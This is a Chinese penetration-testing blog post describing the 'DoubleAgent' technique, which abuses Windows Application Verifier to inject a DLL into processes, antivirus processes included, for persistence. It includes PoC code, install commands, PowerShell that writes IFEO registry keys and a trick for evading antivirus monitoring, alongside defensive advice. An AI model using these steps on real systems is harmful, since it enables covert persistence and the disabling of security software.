渗透测试中的Application Verifier(DoubleAgent利用介绍)

简介: 本文讲的是渗透测试中的Application Verifier(DoubleAgent利用介绍),近日,Cybellum Technologies LTD公开了一个0-day漏洞的POC,对其命名为“DoubleAgent”,可用于控制主流的杀毒软件。
本文讲的是 渗透测试中的Application Verifier(DoubleAgent利用介绍)

0x00 前言

近日,Cybellum Technologies LTD公开了一个0-day漏洞的POC,对其命名为“DoubleAgent”,可用于控制主流的杀毒软件。

不同于以往的绕过思路,这次使用的是一种直接攻击并劫持的方式,本文将要介绍该方式的原理,分享利用思路、攻击条件和防御方法

0x01 简介

该方式主要是对微软系统自带的Application Verifier(应用程序检验器)进行利用

利用过程如下:

- 编写自定义Verifier provider DLL
- 通过Application Verifier进行安装
- 注入到目标进程执行payload
- 每当目标进程启动,均会执行payload,相当于一个自启动的方式

Application Verifier支持系统:WinXP-Win10

理论上,该利用方式支持WinXP-Win10,但是POC提供的dll在部分操作系统下会报错,修复方法暂略,本文仅挑选一个默认成功的系统进行测试——Win8.1 x86

0x02 application verifier

是针对非托管代码的运行时验证工具,它有助于找到细小的编程错误、安全问题和受限的用户帐户特权问题,使用常规的应用程序测试技术很难识别出这些错误和问题

注:

类似于Application Compatibility Shims,可以理解为一种补丁机制。更多基础概念可参考微软官方文档,地址如下:

https://msdn.microsoft.com/zh-cn/library/aa480483.aspx

测试系统:Win8.1 x86(默认支持application verifier)

cmd输入(管理员权限):appverif 

进入控制界面,通过面板查看配置验证器

渗透测试中的Application Verifier(DoubleAgent利用介绍)

如图2-1

添加一个测试程序,可对其检测和调试内存损坏、危险的安全漏洞以及受限的用户帐户特权问题

渗透测试中的Application Verifier(DoubleAgent利用介绍)

如图2-2

通过命令行也能够实现相同的操作

命令行添加:

appverif /verify notepad.exe

命令行删除:

appverif /n notepad.exe

注:

对于运行中的进程,不能安装application verifier

0x03 实际测试

POC编译环境搭建:

安装VS2017

安装Windows SDK for Windows 8.1

测试系统:Win8.1 x86

POC添加shellcode:

MessageBox(NULL, NULL, NULL, 0);

部分代码如下:

static BOOL main_DllMainProcessAttach(VOID)
{
DOUBLEAGENT_STATUS eStatus = DOUBLEAGENT_STATUS_INVALID_VALUE;
MessageBox(NULL, NULL, NULL, 0);
DOUBLEAGENT_SET(eStatus, DOUBLEAGENT_STATUS_SUCCESS);
return FALSE != DOUBLEAGENT_SUCCESS(eStatus);
}

编译后将DoubleAgent_x86.exe和x86DoubleAgentDll.dll放于同级目录下

cmd下:(管理员权限)

安装:

DoubleAgent_x86.exe install notepad.exe

卸载:

DoubleAgent_x86.exe uninstall notepad.exe

渗透测试中的Application Verifier(DoubleAgent利用介绍)

如图2-3

安装后,启动notepad.exe,弹框,之后正常启动notepad.exe

安装成功后,在面板中也可以看到安装的verifier

cmd输入appverif

渗透测试中的Application Verifier(DoubleAgent利用介绍)

如图2-4

如果想要劫持非系统默认安装的程序,那么该程序需要存放于system32文件夹下(或者新建快捷方式存放于system32并指向原程序)

需要先将DoubleAgentDll.dll复制到system32下,再通过命令行安装

注册表位置:

[HKEY_LOCAL_MACHINE//SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe]

键值信息如下:

"GlobalFlag"="0x100"
"VerifierDlls"="DoubleAgentDll.dll"

如果删除该注册表键值,那么verifier失效

注:

查看poc源码发现安装操作是通过新建注册表键值的方法

所以下面尝试通过脚本新建注册表键值来实现verifier的安装:

1、powershell测试代码实现注册表键值的添加

New-Item -itemType DWord "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe"
New-ItemProperty -path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -name GlobalFlag -propertytype Dword -value 0x100
New-ItemProperty -path "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -name VerifierDlls -propertytype String -value DoubleAgentDll.dll

2、将测试dll复制到system32下

copy DoubleAgentDll.dll c:windowssystem32DoubleAgentDll.dll

3、再次启动notepad.exe,弹框

代表verifier被安装

4、删除verifier的powershell代码:

Del "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" -recurse

注:

部分杀毒软件会对注册表HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options进行监控

绕过方法:

新建一个任意名称的注册表键值,再重命名为目标程序

0x04 分析

利用方式:

dll注入
自启动
主要用于后渗透阶段

特别的地方:

绕过杀毒软件的拦截,并能够对杀毒软件本身进行注入,使杀毒软件本身失效或者对其利用

攻击条件:获得管理员权限

POC——>EXP:

参照其中DoubleAgentDll工程生成dll,通过powershell或其他脚本实现安装利用

防御方法:

监控注册表键值HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

控制管理员权限

查看system32下有无可疑dll

0x05 小结

本文对“DoubleAgent”的原理、利用思路、攻击条件和防御方法作了简要介绍,希望能够帮助大家




原文发布时间为:2017年3月28日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
8月前
|
测试技术 BI
一个 CRM One Order Application log 的单元测试报表
一个 CRM One Order Application log 的单元测试报表
45 0
|
7月前
如何给在 SAP Business Application Studio 里开发的 OData 服务准备测试数据试读版
如何给在 SAP Business Application Studio 里开发的 OData 服务准备测试数据试读版
32 0
|
2天前
|
网络协议 安全 测试技术
性能工具之emqtt-bench BenchMark 测试示例
【4月更文挑战第19天】在前面两篇文章中介绍了emqtt-bench工具和MQTT的入门压测,本文示例 emqtt_bench 对 MQTT Broker 做 Beachmark 测试,让大家对 MQTT消息中间 BenchMark 测试有个整体了解,方便平常在压测工作查阅。
131 7
性能工具之emqtt-bench BenchMark 测试示例
|
2天前
|
机器学习/深度学习 数据采集 人工智能
【专栏】AI在软件测试中的应用,如自动执行测试用例、识别缺陷和优化测试设计
【4月更文挑战第27天】本文探讨了AI在软件测试中的应用,如自动执行测试用例、识别缺陷和优化测试设计。AI辅助工具利用机器学习、自然语言处理和图像识别提高效率,但面临数据质量、模型解释性、维护更新及安全性挑战。未来,AI将更注重用户体验,提升透明度,并在保护隐私的同时,通过联邦学习等技术共享知识。AI在软件测试领域的前景广阔,但需解决现有挑战。
|
2天前
|
测试技术
如何管理测试用例?测试用例有什么管理工具?YesDev
该文档介绍了测试用例和测试用例库的管理。测试用例是描述软件测试方案的详细步骤,包括测试目标、环境、输入、步骤和预期结果。测试用例库用于组织和管理这些用例,强调简洁性、完整性和可维护性。管理者可以创建、删除、重命名用例库,搜索和管理用例,以及通过层级目录结构来组织用例。此外,还支持通过Excel导入和导出测试用例,以及使用脑图查看用例关系。后台管理允许配置全局别名,如用例状态、优先级和执行结果。
|
2天前
|
机器学习/深度学习 人工智能 运维
深入探索软件测试:策略、工具与未来趋势
【5月更文挑战第14天】在软件开发的生命周期中,测试环节扮演着至关重要的角色。它不仅保证产品能够达到预定的质量标准,还有助于提前发现并修复潜在的缺陷,从而减少维护成本和提高用户满意度。本文将深入探讨当前软件测试领域的最佳实践,包括测试策略的制定、工具的选择以及面对快速变化的技术环境如何保持测试活动的前瞻性和灵活性。通过分析自动化测试、性能测试和安全测试等关键领域,本文旨在为读者提供一个全面的软件测试指南,同时对未来的发展趋势进行预测。
|
2天前
|
SQL 测试技术 网络安全
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
Python之SQLMap:自动SQL注入和渗透测试工具示例详解
26 0

热门文章

最新文章